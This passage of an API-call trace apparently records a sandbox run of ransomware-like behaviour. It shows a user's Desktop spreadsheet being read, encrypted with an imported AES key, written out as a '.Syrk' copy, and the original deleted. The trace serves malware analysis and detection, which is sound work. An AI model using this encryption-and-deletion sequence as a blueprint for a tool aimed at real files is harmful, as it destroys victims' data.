(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0208.614] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0208.614] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.614] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0208.614] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0208.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0208.725] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.725] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0208.725] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.725] EtwEventActivityIdControl () returned 0x0 [0208.725] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0208.725] SystemFunction041 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.726] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0208.726] SystemFunction040 (in: Memory=0x3da24c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da24c) returned 0x0 [0208.728] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cee0) returned 1 [0208.730] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x240af18*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68d00) returned 1 [0208.731] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0208.731] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.731] EtwEventActivityIdControl () returned 0x0 [0208.731] EtwEventActivityIdControl () returned 0x0 [0208.731] EtwEventActivityIdControl () returned 0x0 [0208.737] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0208.738] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0208.738] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.738] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.739] EtwEventActivityIdControl () returned 0x0 [0208.740] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.740] EtwEventActivityIdControl () returned 0x0 [0208.740] EtwEventActivityIdControl () returned 0x0 [0208.741] EtwEventActivityIdControl () returned 0x0 [0208.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.743] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0208.743] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0208.743] GetFileType (hFile=0x42c) returned 0x1 [0208.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0208.744] GetFileType (hFile=0x42c) returned 0x1 [0208.744] EtwEventActivityIdControl () returned 0x0 [0208.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.744] EtwEventActivityIdControl () returned 0x0 [0208.744] EtwEventActivityIdControl () returned 0x0 [0208.744] EtwEventActivityIdControl () returned 0x0 [0208.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0208.745] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk", lpFilePart=0x0) returned 0x28 [0208.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0208.745] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0208.747] GetFileType (hFile=0x44c) returned 0x1 [0208.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0208.747] GetFileType (hFile=0x44c) returned 0x1 [0208.747] EtwEventActivityIdControl () returned 0x0 [0208.747] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x241a8b4 | out: pbBuffer=0x241a8b4) returned 1 [0208.749] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0208.749] CryptDuplicateKey (in: hKey=0x5c68d00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c68b80) returned 1 [0208.749] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0208.749] CryptSetKeyParam (hKey=0x5c68b80, dwParam=0x4, pbData=0x241bbe0*=0x1, dwFlags=0x0) returned 1 [0208.749] CryptSetKeyParam (hKey=0x5c68b80, dwParam=0x1, pbData=0x241bbac, dwFlags=0x0) returned 1 [0208.749] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.750] EtwEventActivityIdControl () returned 0x0 [0208.750] EtwEventActivityIdControl () returned 0x0 [0208.750] EtwEventActivityIdControl () returned 0x0 [0208.751] EtwEventActivityIdControl () returned 0x0 [0208.752] ReadFile (in: hFile=0x42c, lpBuffer=0x241e828, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x241e828*, lpNumberOfBytesRead=0x5a2e6fc*=0x10e8b, lpOverlapped=0x0) returned 1 [0208.754] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2432840*, pdwDataLen=0x5a2e6f0*=0x10e80, dwBufLen=0x10e80 | out: pbData=0x2432840*, pdwDataLen=0x5a2e6f0*=0x10e80) returned 1 [0208.755] WriteFile (in: hFile=0x44c, lpBuffer=0x241a990*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x241a990*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0208.756] WriteFile (in: hFile=0x44c, lpBuffer=0x243382c*, nNumberOfBytesToWrite=0xfe94, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x243382c*, lpNumberOfBytesWritten=0x5a2e6d4*=0xfe94, lpOverlapped=0x0) returned 1 [0208.758] ReadFile (in: hFile=0x42c, lpBuffer=0x241e828, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x241e828*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0208.758] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24436cc*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x24436cc*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0208.758] CryptEncrypt (in: hKey=0x5c68b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24436e8*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x24436e8*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0208.759] WriteFile (in: hFile=0x44c, lpBuffer=0x241a990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x241a990*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0208.759] CloseHandle (hObject=0x44c) returned 1 [0208.961] CloseHandle (hObject=0x42c) returned 1 [0208.961] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.962] EtwEventActivityIdControl () returned 0x0 [0208.962] EtwEventActivityIdControl () returned 0x0 [0208.962] EtwEventActivityIdControl () returned 0x0 [0208.968] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0208.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.971] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0208.971] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0208.971] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0208.971] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0208.971] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0208.971] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0208.971] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0208.972] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0208.972] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0208.972] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0208.972] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0208.972] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0208.972] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0208.972] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0208.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0208.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0208.973] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0208.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.973] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.976] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0208.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.977] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0208.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0208.977] CoTaskMemAlloc (cb=0x404) returned 0x5c7e518 [0208.977] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c7e518, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0208.978] CoTaskMemFree (pv=0x5c7e518) [0208.980] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 0x20 [0208.981] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0208.981] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", nBufferLength=0x24, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls", lpFilePart=0x0) returned 0x23 [0208.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0208.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls"), fInfoLevelId=0x0, lpFileInformation=0x244dc84 | out: lpFileInformation=0x244dc84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff4f900, ftCreationTime.dwHighDateTime=0x1d99072, ftLastAccessTime.dwLowDateTime=0xa55f0b40, ftLastAccessTime.dwHighDateTime=0x1d990da, ftLastWriteTime.dwLowDateTime=0xa55f0b40, ftLastWriteTime.dwHighDateTime=0x1d990da, nFileSizeHigh=0x0, nFileSizeLow=0x10e8b)) returned 1 [0208.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0208.981] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls")) returned 1 [0208.984] EtwEventActivityIdControl () returned 0x0 [0208.984] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0208.985] EtwEventActivityIdControl () returned 0x0 [0208.985] EtwEventActivityIdControl () returned 0x0 [0208.985] EtwEventActivityIdControl () returned 0x0 [0209.010] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls.syrk")) returned 0x20 [0209.012] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls.syrk")) returned 0x20 [0209.012] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0209.012] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk", lpFilePart=0x0) returned 0x28 [0209.012] EtwEventActivityIdControl () returned 0x0 [0209.013] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.013] EtwEventActivityIdControl () returned 0x0 [0209.013] EtwEventActivityIdControl () returned 0x0 [0209.013] EtwEventActivityIdControl () returned 0x0 [0209.020] EtwEventActivityIdControl () returned 0x0 [0209.117] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.118] EtwEventActivityIdControl () returned 0x0 [0209.118] EtwEventActivityIdControl () returned 0x0 [0209.118] EtwEventActivityIdControl () returned 0x0 [0209.121] EtwEventActivityIdControl () returned 0x0 [0209.122] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.122] EtwEventActivityIdControl () returned 0x0 [0209.122] EtwEventActivityIdControl () returned 0x0 [0209.122] EtwEventActivityIdControl () returned 0x0 [0209.126] EtwEventActivityIdControl () returned 0x0 [0209.126] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.127] EtwEventActivityIdControl () returned 0x0 [0209.127] EtwEventActivityIdControl () returned 0x0 [0209.127] EtwEventActivityIdControl () returned 0x0 [0209.134] EtwEventActivityIdControl () returned 0x0 [0209.134] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.134] EtwEventActivityIdControl () returned 0x0 [0209.134] EtwEventActivityIdControl () returned 0x0 [0209.134] EtwEventActivityIdControl () returned 0x0 [0209.138] EtwEventActivityIdControl () returned 0x0 [0209.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0209.143] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\oSEF.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\osef.xls.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2456a74 | out: lpFileInformation=0x2456a74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8d8a880, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xf8d8a880, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xf8db09e0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x10ea4)) returned 1 [0209.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0209.145] GetConsoleOutputCP () returned 0x1b5 [0209.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0209.146] GetConsoleOutputCP () returned 0x1b5 [0209.146] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0209.147] GetConsoleOutputCP () returned 0x1b5 [0209.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.147] GetConsoleOutputCP () returned 0x1b5 [0209.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.147] GetConsoleOutputCP () returned 0x1b5 [0209.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0209.147] GetConsoleOutputCP () returned 0x1b5 [0209.147] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0209.148] GetConsoleOutputCP () returned 0x1b5 [0209.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.148] GetConsoleOutputCP () returned 0x1b5 [0209.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.148] GetConsoleOutputCP () returned 0x1b5 [0209.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0209.148] GetConsoleOutputCP () returned 0x1b5 [0209.148] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0209.148] GetConsoleOutputCP () returned 0x1b5 [0209.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.149] GetConsoleOutputCP () returned 0x1b5 [0209.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.149] GetConsoleOutputCP () returned 0x1b5 [0209.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0209.149] GetConsoleOutputCP () returned 0x1b5 [0209.149] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0209.149] GetConsoleOutputCP () returned 0x1b5 [0209.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.150] GetConsoleOutputCP () returned 0x1b5 [0209.150] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0209.150] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0209.151] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0209.151] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2470728*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x2470728*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0209.152] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0209.152] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0209.154] EtwEventActivityIdControl () returned 0x0 [0209.154] EtwEventActivityIdControl () returned 0x0 [0209.155] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.155] EtwEventActivityIdControl () returned 0x0 [0209.155] EtwEventActivityIdControl () returned 0x0 [0209.155] EtwEventActivityIdControl () returned 0x0 [0209.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0209.158] EtwEventActivityIdControl () returned 0x0 [0209.158] EtwEventActivityIdControl () returned 0x0 [0209.158] EtwEventActivityIdControl () returned 0x0 [0209.160] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, 